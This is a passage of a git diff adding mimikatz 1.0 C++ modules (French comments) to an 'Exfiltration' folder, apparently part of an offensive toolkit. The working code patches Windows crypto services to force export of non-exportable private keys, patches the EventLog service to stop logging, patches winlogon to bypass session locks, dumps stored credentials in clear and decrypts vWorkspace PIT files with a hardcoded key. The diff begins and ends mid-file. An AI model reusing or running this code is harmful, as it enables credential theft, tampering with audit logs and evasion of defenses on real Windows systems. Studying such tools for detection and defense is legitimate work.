FUNCNAM_WALL_EXPORT, true, true) && + mod_memory::genericPatternSearch(&ptr4000, LIBNAME_WALL_RSA, pattern4000, taillePattern4000, offsetPatch4000, FUNCNAM_WALL_EXPORT, true, true)) + { + (*outputStream) << L"Patterns CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE et CRYPT_ARCHIVABLE trouvs !" << endl << + L"Patch CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4001, patch4001, taillePatch4001) ? L"OK" : L"KO") << endl << + L"Patch CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4000, patch4000, taillePatch4000) ? L"OK" : L"KO") << endl; + } + FreeLibrary(hRSA); + } + return true; +} + +bool mod_mimikatz_crypto::patchcng(vector<wstring> * arguments) +{ + wchar_t LIBNAME_WNO8_NCrypt[] = L"ncrypt.dll"; + wchar_t LIBNAME_WIN8_NCrypt[] = L"ncryptprov.dll"; +#ifdef _M_X64 + BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x75}; + BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x43, 0x24, 0x02, 0x75}; + BYTE PTRN_WI60_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x0f, 0x85}; + + BYTE PATC_WI60_SPCryptExportKey_EXPORT[] = {0x90, 0xe9}; + BYTE PATC_WI60_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; + BYTE PATC_WALL_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; +#elif defined _M_IX86 + BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x41, 0x20, 0x02, 0x75}; + BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x47, 0x1c, 0x02, 0x75}; + + BYTE PATC_WNO8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; + BYTE PATC_WIN8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; +#endif + BYTE PATC_WALL_SPCryptExportKey_EXPORT[] = {0xeb}; + LONG OFFS_WALL_SPCryptExportKey_EXPORT = 4; + + if(mod_cryptong::isNcrypt) + { + if(mod_cryptong::justInitCNG()) + { + wchar_t * libName; PBYTE pattern = NULL; ULONG taillePattern = 0; PBYTE patch = NULL; ULONG taillePatch = 0; LONG offsetPatch = 0; + + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + pattern = PTRN_WI60_SPCryptExportKey; + taillePattern = sizeof(PTRN_WI60_SPCryptExportKey); + } + else + { +#endif + pattern = PTRN_WNO8_SPCryptExportKey; + taillePattern = sizeof(PTRN_WNO8_SPCryptExportKey); +#ifdef _M_X64 + } +#endif + libName = LIBNAME_WNO8_NCrypt; + } + else + { + pattern = PTRN_WIN8_SPCryptExportKey; + taillePattern = sizeof(PTRN_WIN8_SPCryptExportKey); + libName = LIBNAME_WIN8_NCrypt; + } + + if(arguments->empty()) + { +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + patch = PATC_WI60_SPCryptExportKey_EXPORT; + taillePatch = sizeof(PATC_WI60_SPCryptExportKey_EXPORT); + } + else + { +#endif + patch = PATC_WALL_SPCryptExportKey_EXPORT; + taillePatch = sizeof(PATC_WALL_SPCryptExportKey_EXPORT); +#ifdef _M_X64 + } +#endif + } + else + { +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + patch = PATC_WI60_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WI60_SPCryptExportKey_NOEXPORT); + } + else + { + patch = PATC_WALL_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WALL_SPCryptExportKey_NOEXPORT); + } +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + patch = PATC_WNO8_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WNO8_SPCryptExportKey_NOEXPORT); + } + else + { + patch = PATC_WIN8_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WIN8_SPCryptExportKey_NOEXPORT); + } +#endif + } + offsetPatch = OFFS_WALL_SPCryptExportKey_EXPORT; + + mod_patch::patchModuleOfService(L"KeyIso", libName, pattern, taillePattern, patch, taillePatch, offsetPatch); + } + else (*outputStream) << L"Impossible d\'initialiser la CNG : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"Pas de CNG ?" << endl; + + return true; +} + +void mod_mimikatz_crypto::sanitizeFileName(wstring * fileName) +{ + wchar_t monTab[] = {L'\\', L'/', L':', L'*', L'?', L'\"', L'<', L'>', L'|'}; + for(wstring::iterator monIterateur = fileName->begin(); monIterateur != fileName->end(); monIterateur++) + { + for(ULONG i = 0; i < sizeof(monTab) / sizeof(wchar_t); i++) + { + if(*monIterateur == monTab[i]) + { + *monIterateur = L'~'; + break; + } + } + } +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h new file mode 100644 index 0000000..7d81c07 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h @@ -0,0 +1,36 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_cryptoapi.h" +#include "mod_cryptong.h" +#include "mod_crypto.h" +#include "mod_process.h" +#include "mod_patch.h" +#include <iostream> +#include <sstream> + +class mod_mimikatz_crypto +{ +private: + static void sanitizeFileName(wstring * fileName); + static void listAndOrExportCertificates(vector<wstring> * arguments, bool exportCert = false); + static void listAndOrExportKeys(vector<wstring> * arguments, bool exportKeys = false); +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool listProviders(vector<wstring> * arguments); + static bool listStores(vector<wstring> * arguments); + static bool listKeys(vector<wstring> * arguments); + static bool listCertificates(vector<wstring> * arguments); + + static bool exportCertificates(vector<wstring> * arguments); + static bool exportKeys(vector<wstring> * arguments); + + static bool patchcapi(vector<wstring> * arguments); + static bool patchcng(vector<wstring> * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp new file mode 100644 index 0000000..019644d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp @@ -0,0 +1,306 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_divers.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_divers::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(noroutemon, L"noroutemon", L"[experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(eventdrop, L"eventdrop", L"[super experimental] Patch l\'observateur d\'vnements pour ne plus rien enregistrer")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cancelator, L"cancelator", L"Patch le bouton annuler de Windows XP et 2003 en console pour dverrouiller une session")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(secrets, L"secrets", L"Affiche les secrets utilisateur")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nodetour, L":nodetour", L"Anti-dtours SR")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pitme, L":pitme", L"Dchiffre les fichiers PIT (Quest vWorkspace Client)")); + return monVector; +} + +bool mod_mimikatz_divers::nodetour(vector<wstring> * arguments) +{ + vector<mod_patch::OS> mesOS; + mesOS.push_back(mod_patch::WINDOWS_2003_____x64); + mesOS.push_back(mod_patch::WINDOWS_VISTA____x64); + mesOS.push_back(mod_patch::WINDOWS_2008_____x64); + mesOS.push_back(mod_patch::WINDOWS_SEVEN____x64); + mesOS.push_back(mod_patch::WINDOWS_2008r2___x64); + + if(mod_patch::checkVersion(&mesOS)) + { + BYTE monSysEnterRetn[] = {0x0f, 0x05, 0xc3}; + BYTE monDetouredStub[] = {0x90, 0x90, 0xe9}; + + PBYTE monNTDLLptr = reinterpret_cast<PBYTE>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenProcess")); + if(memcmp(monNTDLLptr + 8, monDetouredStub, sizeof(monDetouredStub)) == 0) + { + (*outputStream) << L"Dtour trouv et "; + if(mod_memory::writeMemory(monNTDLLptr + 8 + sizeof(monDetouredStub) + sizeof(LONG) + *reinterpret_cast<PLONG>(monNTDLLptr + 8 + sizeof(monDetouredStub)), monSysEnterRetn, sizeof(monSysEnterRetn))) + (*outputStream) << L"patch :)"; + else + (*outputStream) << L"NON patch :("; + (*outputStream) << endl; + } + else + (*outputStream) << L"Dtour non trouv" << endl; + } + return true; +} + + +bool mod_mimikatz_divers::cancelator(vector<wstring> * arguments) +{ + vector<mod_patch::OS> mesOS; + mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86); + mesOS.push_back(mod_patch::WINDOWS_2003_____x86); + + if(mod_patch::checkVersion(&mesOS)) + { + BYTE patternCMPJMP[] = {0xff, 0xff, 0xff, 0x83, 0xff, 0x02, 0x0f, 0x84}; + BYTE patternNOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90}; + long offsetCibleNOP = 3; + + vector<mod_process::KIWI_PROCESSENTRY32> * mesProcesses = new vector<mod_process::KIWI_PROCESSENTRY32>(); + wstring processName = L"winlogon.exe"; + + if(mod_process::getList(mesProcesses, &processName)) + { + for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator leProcess = mesProcesses->begin(); leProcess != mesProcesses->end(); leProcess++) + { + mod_patch::patchModuleOfPID(leProcess->th32ProcessID, L"", patternCMPJMP, sizeof(patternCMPJMP), patternNOP, sizeof(patternNOP), offsetCibleNOP); + } + } + + delete mesProcesses; + } + return true; +} + + +bool mod_mimikatz_divers::noroutemon(vector<wstring> * arguments) +{ + //BYTE patternTestRouteMon[] = {0x83, 0xec, 0x1c, 0x55, 0x8b, 0xe9}; // 7.0 // 83 ec 1c 55 8b e9 + BYTE patternTestRouteMon[] = {0x83, 0xec, 0x14, 0x53, 0x8b, 0xd9}; // 7.1 // 83 ec 14 53 8b d9 + BYTE patternNoTestRouteMon[] = {0xb0, 0x01, 0xc2, 0x04, 0x00}; + + mod_patch::patchModuleOfService(L"dsNcService", L"", patternTestRouteMon, sizeof(patternTestRouteMon), patternNoTestRouteMon, sizeof(patternNoTestRouteMon)); + return true; +} + +bool mod_mimikatz_divers::eventdrop(vector<wstring> * arguments) +{ + wchar_t LIBNAME_WNT5_EVTLOG[] = L"eventlog.dll"; + wchar_t LIBNAME_WNT6_EVTLOG[] = L"wevtsvc.dll"; +#ifdef _M_X64 + BYTE PTRN_WNT5_PerformWriteRequest[] = {0x49, 0x89, 0x5b, 0x10, 0x49, 0x89, 0x73, 0x18}; + LONG OFFS_WNT5_PerformWriteRequest = -10; + BYTE PATC_WNT5_PerformWriteRequest[] = {0x45, 0x33, 0xed, 0xc3}; + + BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0x48, 0x8b, 0xda, 0xe8}; + LONG OFFS_WN60_Channel__ActualProcessEvent = 0; + BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0xff, 0xf7, 0x48, 0x83, 0xec, 0x50, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0xe8}; + LONG OFFS_WN62_Channel__ActualProcessEvent = 0; + + BYTE PATC_WNT6_Channel__ActualProcessEvent[] = {0xc3}; +#elif defined _M_IX86 + BYTE PTRN_WNT5_PerformWriteRequest[] = {0x89, 0x45, 0xe4, 0x8b, 0x7d, 0x08, 0x89, 0x7d}; + LONG OFFS_WNT5_PerformWriteRequest = -20; + BYTE PATC_WNT5_PerformWriteRequest[] = {0x33, 0xc0, 0xc2, 0x04, 0x00}; + + BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x56, 0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; + LONG OFFS_WN60_Channel__ActualProcessEvent = 0; + BYTE PATC_WN61_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; + LONG OFFS_WN61_Channel__ActualProcessEvent = -(5 + 5 + 2); + BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x64, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x75, 0x0c}; + LONG OFFS_WN62_Channel__ActualProcessEvent = -(5 + 1 + 1 + 1 + 3 + 1 + 6 + 5 + 2 + 3 + 2 + 1 + 2); + + BYTE PATC_WNO8_Channel__ActualProcessEvent[] = {0xc2, 0x04, 0x00}; + BYTE PATC_WIN8_Channel__ActualProcessEvent[] = {0xc2, 0x08, 0x00}; +#endif + + BYTE * PTRN_Process = NULL; DWORD SIZE_PTRN_Process = 0; + BYTE * PATC_Process = NULL; DWORD SIZE_PATC_Process = 0; + LONG OFFS_PATC_Process = 0; + wstring libEvent; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + libEvent.assign(LIBNAME_WNT5_EVTLOG); + PTRN_Process = PTRN_WNT5_PerformWriteRequest; SIZE_PTRN_Process = sizeof(PTRN_WNT5_PerformWriteRequest); + PATC_Process = PATC_WNT5_PerformWriteRequest; SIZE_PATC_Process = sizeof(PATC_WNT5_PerformWriteRequest); + OFFS_PATC_Process = OFFS_WNT5_PerformWriteRequest; + } + else + { + libEvent.assign(LIBNAME_WNT6_EVTLOG); + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + PTRN_Process = PTRN_WN60_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PTRN_WN60_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN60_Channel__ActualProcessEvent; +#ifdef _M_X64 + } +#elif defined _M_IX86 + PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); + } + else if(mod_system::GLOB_Version.dwMinorVersion < 2) + { + PTRN_Process = PATC_WN61_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN61_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN61_Channel__ActualProcessEvent; + PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); + } +#endif + else + { + PTRN_Process = PATC_WN62_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN62_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN62_Channel__ActualProcessEvent; +#ifdef _M_IX86 + PATC_Process = PATC_WIN8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WIN8_Channel__ActualProcessEvent); +#endif + } + +#ifdef _M_X64 + PATC_Process = PATC_WNT6_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNT6_Channel__ActualProcessEvent); +#endif + } + + mod_patch::patchModuleOfService(L"EventLog", libEvent, PTRN_Process, SIZE_PTRN_Process, PATC_Process, SIZE_PATC_Process, OFFS_PATC_Process); + + return true; +} + +bool mod_mimikatz_divers::secrets(vector<wstring> * arguments) +{ + DWORD credNb = 0; + PCREDENTIAL * pCredential = NULL; + DWORD flags = (arguments->empty() ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS); + + if(CredEnumerate(NULL, flags, &credNb, &pCredential)) + { + (*outputStream) << L"Nombre de secrets : " << credNb << endl; + + for(DWORD i = 0; i < credNb; i++) + { + wstring type; + bool isCertificate = false; + switch(pCredential[i]->Type) + { + case CRED_TYPE_GENERIC: + type.assign(L"GENERIC"); + break; + case CRED_TYPE_DOMAIN_PASSWORD: + type.assign(L"DOMAIN_PASSWORD"); + break; + case CRED_TYPE_DOMAIN_CERTIFICATE: + type.assign(L"DOMAIN_CERTIFICATE"); + isCertificate = true; + break; + case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD: + type.assign(L"DOMAIN_VISIBLE_PASSWORD"); + break; + case CRED_TYPE_GENERIC_CERTIFICATE: + type.assign(L"GENERIC_CERTIFICAT"); + isCertificate = true; + break; + case CRED_TYPE_DOMAIN_EXTENDED: + type.assign(L"DOMAIN_EXTENDED"); + break; + default: + type.assign(L"?"); + } + + (*outputStream) << + L"TargetName : " << (pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>") << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>") << endl << + L"Type : " << type << L" (" << pCredential[i]->Type << L')' << endl << + L"Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>") << endl << + L"UserName : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>") << endl << + L"Credential : " << mod_text::stringOrHex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize) << endl << + endl; + } + CredFree(pCredential); + } + else (*outputStream) << L"CredEnumerate : " << mod_system::getWinError() << endl; + + return true; +} + + +bool mod_mimikatz_divers::pitme(vector<wstring> * arguments) +{ + static const BYTE HARDCODED_KEY[] = { + 0x80, 0x5b, 0xe8, 0x18, 0x6f, 0x64, 0x89, 0x3a, 0x34, 0xce, 0x59, 0xdf, 0x4d, 0xb4, 0x5a, 0x0f, + 0x69, 0x94, 0x58, 0x70, 0x71, 0x4b, 0x17, 0xcf, 0xc3, 0x40, 0xaa, 0xfc, 0xc5, 0xe0, 0x21, 0xdb, + 0x9a, 0x49, 0x68, 0xb8, 0x2f, 0x4a, 0x6c, 0xdc, 0x7a, 0x8b, 0x7f, 0x5c, 0x03, 0x08, 0xfe, 0x39, + 0xa3, 0xc6, 0x31, 0xa6, 0x8c, 0xbd, 0x72, 0xa4, 0x8a, 0x1b, 0x92, 0xd5, 0x87, 0xad, 0x78, 0x8f, + 0x55, 0x96, 0x0b, 0x30, 0xa8, 0x43, 0x53, 0xb0, 0x62, 0xa0, 0xda, 0x7c, 0x13, 0x8d, 0x5d, 0x81, + 0xc0, 0x8e, 0x90, 0x88, 0xe4, 0xb7, 0x76, 0xc2, 0xb5, 0x04, 0x93, 0xa5, 0xa9, 0x9e, 0xab, 0xf5, + 0x37, 0xac, 0x99, 0x26, 0xe2, 0x38, 0x85, 0xe1, 0x74, 0x77, 0x32, 0xe5, 0x91, 0x23, 0xb1, 0x10, + 0x4c, 0x47, 0x3f, 0xbe, 0x82, 0x22, 0x6a, 0x51, 0xd0, 0x63, 0x75, 0x11, 0x33, 0x9b, 0xfb, 0x3b, + 0xca, 0xed, 0xdd, 0x44, 0xe6, 0x12, 0x4e, 0x97, 0x3c, 0x79, 0x4f, 0x41, 0x66, 0xba, 0x50, 0x0e, + 0xc9, 0x6b, 0x05, 0xee, 0x6e, 0xe7, 0x95, 0x7b, 0x60, 0x9d, 0xff, 0xc4, 0x29, 0x86, 0xb9, 0x7d, + 0x98, 0xc8, 0x9c, 0x35, 0xbb, 0xbc, 0xef, 0xfa, 0x3d, 0x06, 0xf9, 0x36, 0xbf, 0x3e, 0x7e, 0xa2, + 0xc7, 0x56, 0xae, 0xcb, 0xaf, 0xe9, 0x42, 0x61, 0xf0, 0x1d, 0xfd, 0x65, 0x9f, 0x52, 0x27, 0xea, + 0x24, 0xa1, 0xa7, 0xb2, 0x6d, 0x14, 0xb3, 0x45, 0xf8, 0xb6, 0xf7, 0x73, 0xc1, 0x83, 0x84, 0xf4, + 0xcc, 0xcd, 0xf3, 0xe3, 0x54, 0x15, 0xd1, 0x46, 0x07, 0x57, 0x2c, 0xd2, 0xd3, 0xd6, 0xd4, 0xd7, + 0xf6, 0xeb, 0xd8, 0x1c, 0x00, 0x09, 0xec, 0x67, 0x0a, 0xd9, 0x16, 0xde, 0xf1, 0xf2, 0x01, 0x2d, + 0x5e, 0x48, 0x02, 0x0c, 0x5f, 0x0d, 0x19, 0x1a, 0x28, 0x1e, 0x1f, 0x20, 0x25, 0x2a, 0x2b, 0x2e + }; + static const DWORD SUBKEY_SIZE = 16; + static const BYTE HEADER_PIT[] = {'P', 'I', 'T'}; + + FILE * monFichierSource, * monFichierDestination; + BYTE * monBuffer, * monBufferData; + ULONG tailleFichierSource, tailleData; + + if(arguments->size() < 1) + { + (*outputStream) << L"divers:::pitme file.pit [file.rdp]" << endl; + } + else + { + (*outputStream) << L" * Ouverture en lecture du fichier \'" << arguments->front() << L"\' : "; + if(monFichierSource = _wfopen(arguments->front().c_str(), L"rb")) + { + fseek(monFichierSource, 0, SEEK_END); + tailleFichierSource = ftell(monFichierSource); + monBuffer = new BYTE[tailleFichierSource]; + fseek(monFichierSource, 0, SEEK_SET); + fread(monBuffer, tailleFichierSource, 1, monFichierSource); + fclose(monFichierSource); + + (*outputStream) << L"OK" << endl << L" * Dchiffrement n1 : "; + if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource, HARDCODED_KEY, sizeof(HARDCODED_KEY), CALG_RC4)) + { + (*outputStream) << L"OK" << endl << L" * Dchiffrement n2 : "; + if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource - SUBKEY_SIZE, monBuffer + tailleFichierSource - SUBKEY_SIZE, SUBKEY_SIZE, CALG_RC4)) + { + (*outputStream) << L"OK" << endl << L" * En-tte : "; + if(memcmp(monBuffer, HEADER_PIT, sizeof(HEADER_PIT)) == 0) + { + (*outputStream) << L"OK" << endl; + monBufferData = monBuffer + sizeof(HEADER_PIT); + tailleData = tailleFichierSource - sizeof(HEADER_PIT) - SUBKEY_SIZE; + + if(arguments->size() > 1) + { + (*outputStream) << L" * Ouverture en criture du fichier \'" << arguments->back() << L"\' : "; + if(monFichierDestination = _wfopen(arguments->back().c_str(), L"wb")) + { + (*outputStream) << L"OK" << endl; + fwrite(monBufferData, tailleData, 1, monFichierDestination); + fclose(monFichierDestination); + } + else (*outputStream) << L"KO" << endl; + } + else (*outputStream) << L" * Donnes : " << endl << endl << wstring(reinterpret_cast<char *>(monBufferData), reinterpret_cast<char *>(monBufferData + tailleData)) << endl; + } + else (*outputStream) << L"KO - diffrent de \'PIT\' ; " << mod_text::stringOfHex(HEADER_PIT, sizeof(HEADER_PIT)) << L" != " << mod_text::stringOfHex(monBuffer, sizeof(HEADER_PIT)) << endl; + } + else (*outputStream) << L"KO"; + } + else (*outputStream) << L"KO"; + delete [] monBuffer; + } + else (*outputStream) << L"KO" << endl; + } + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h new file mode 100644 index 0000000..9bfcf9f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h @@ -0,0 +1,30 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_patch.h" +#include "mod_secacl.h" +#include "mod_text.h" +#include "mod_crypto.h" +#include <iostream> +#include <wincred.h> +#include "..\global.h" + +class mod_mimikatz_divers +{ +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool cancelator(vector<wstring> * arguments); + static bool noroutemon(vector<wstring> * arguments); + static bool eventdrop(vector<wstring> * arguments); + static bool secrets(vector<wstring> * arguments); + static bool nodetour(vector<wstring> * arguments); + static bool pitme(vector<wstring> * arguments); +}; + + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp new file mode 100644 index 0000000..366c062 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp @@ -0,0 +1,300 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_efs.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_efs::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Affiche des informations basiques sur un fichier chiffr")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"full", L"Affiche des informations trs dtailles sur un fichier chiffr")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(toraw, L"toraw", L"Dump les donnes EFS d'un fichier chiffr vers un fichier brut")); + // monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(fromraw, L"fromraw")); + return monVector; +} + +bool mod_mimikatz_efs::infos(vector<wstring> * arguments) +{ + if(!arguments->empty()) + { + PENCRYPTION_CERTIFICATE_HASH_LIST pHashes = NULL; + + if(QueryUsersOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS) + { + (*outputStream) << L"Utilisateur(s) dclar(s) : " << pHashes->nCert_Hash << endl; + printInfos(pHashes); + FreeEncryptionCertificateHashList(pHashes); + } + else (*outputStream) << L"Erreur QueryUsersOnEncryptedFile : " << mod_system::getWinError() << endl; + + if(QueryRecoveryAgentsOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS) + { + (*outputStream) << L"Agent(s) de recouvrement : " << pHashes->nCert_Hash << endl; + printInfos(pHashes); + FreeEncryptionCertificateHashList(pHashes); + } + else (*outputStream) << L"Erreur QueryRecoveryAgentsOnEncryptedFile : " << mod_system::getWinError() << endl; + + } + return true; +} + +bool mod_mimikatz_efs::full(vector<wstring> * arguments) +{ + if(!arguments->empty()) + { + PVOID pvContext = NULL; + if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS) + { + SIMPLE_BYTE_ARRAY sba = {0, reinterpret_cast<BYTE *>(malloc(0))}; + if(ReadEncryptedFileRaw(ExportToArrayCallback, &sba, pvContext) == ERROR_SUCCESS) + { + PEFS_FEK Fek = NULL; + PEFS_STREAM_DATA_SEGMENT monDataSegment = NULL; + for( + PEFS_MARSHALED_STREAM monMarshaledStream = reinterpret_cast<PEFS_MARSHALED_STREAM>(sba.tableau + sizeof(EFS_RAW)); + reinterpret_cast<PBYTE>(monMarshaledStream) < (sba.tableau + sba.nbElements); + monMarshaledStream = reinterpret_cast<PEFS_MARSHALED_STREAM>(monDataSegment) + ) + { + + bool isEFSMetaData = (monMarshaledStream->NameLenght == 2) && (monMarshaledStream->StreamName[0] == 0x1910); + + (*outputStream) << endl << + L"Marshaled Stream :" << endl << + L" * Taille : " << monMarshaledStream->Length << endl << + L" * Flag : " << monMarshaledStream->Flag << endl << + L" * Nom : " << (isEFSMetaData ? wstring(L"(EFS Metadata stream)") : wstring(monMarshaledStream->StreamName, monMarshaledStream->NameLenght / sizeof(wchar_t))) << endl << + L" * Type : " << (isEFSMetaData ? L"EFS Metadata" : L"DATA") << endl << + endl; + + for( + monDataSegment = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT>(reinterpret_cast<PBYTE>(monMarshaledStream) + monMarshaledStream->Length); + (reinterpret_cast<PBYTE>(monDataSegment) < (sba.tableau + sba.nbElements)) && (monDataSegment->GURE0 == 0x00550047) && (monDataSegment->GURE1 == 0x00450052); + monDataSegment = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT>(reinterpret_cast<PBYTE>(monDataSegment) + monDataSegment->Length) + ) + + { + (*outputStream) << L"DataSegment : " << endl; + PBYTE StreamData = reinterpret_cast<PBYTE>(monDataSegment) + sizeof(EFS_STREAM_DATA_SEGMENT); + + if(isEFSMetaData) + { + (*outputStream) << L" EFS Metadata :" << endl; + + PEFS_METADATA_1 mesAttr = reinterpret_cast<PEFS_METADATA_1>(StreamData); + (*outputStream) << L" * Version EFS : " << mesAttr->EFS_Version << endl; + if(mesAttr->DDF_Offset) + { + (*outputStream) << L" * Utilisateur(s) dclar(s) :" << endl; + fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DDF_Offset, &Fek); + } + if(mesAttr->DRF_Offset) + { + (*outputStream) << L" * Agent(s) de recouvrement :" << endl; + fullInfosFromEFS_KEY_LIST(mesAttr, 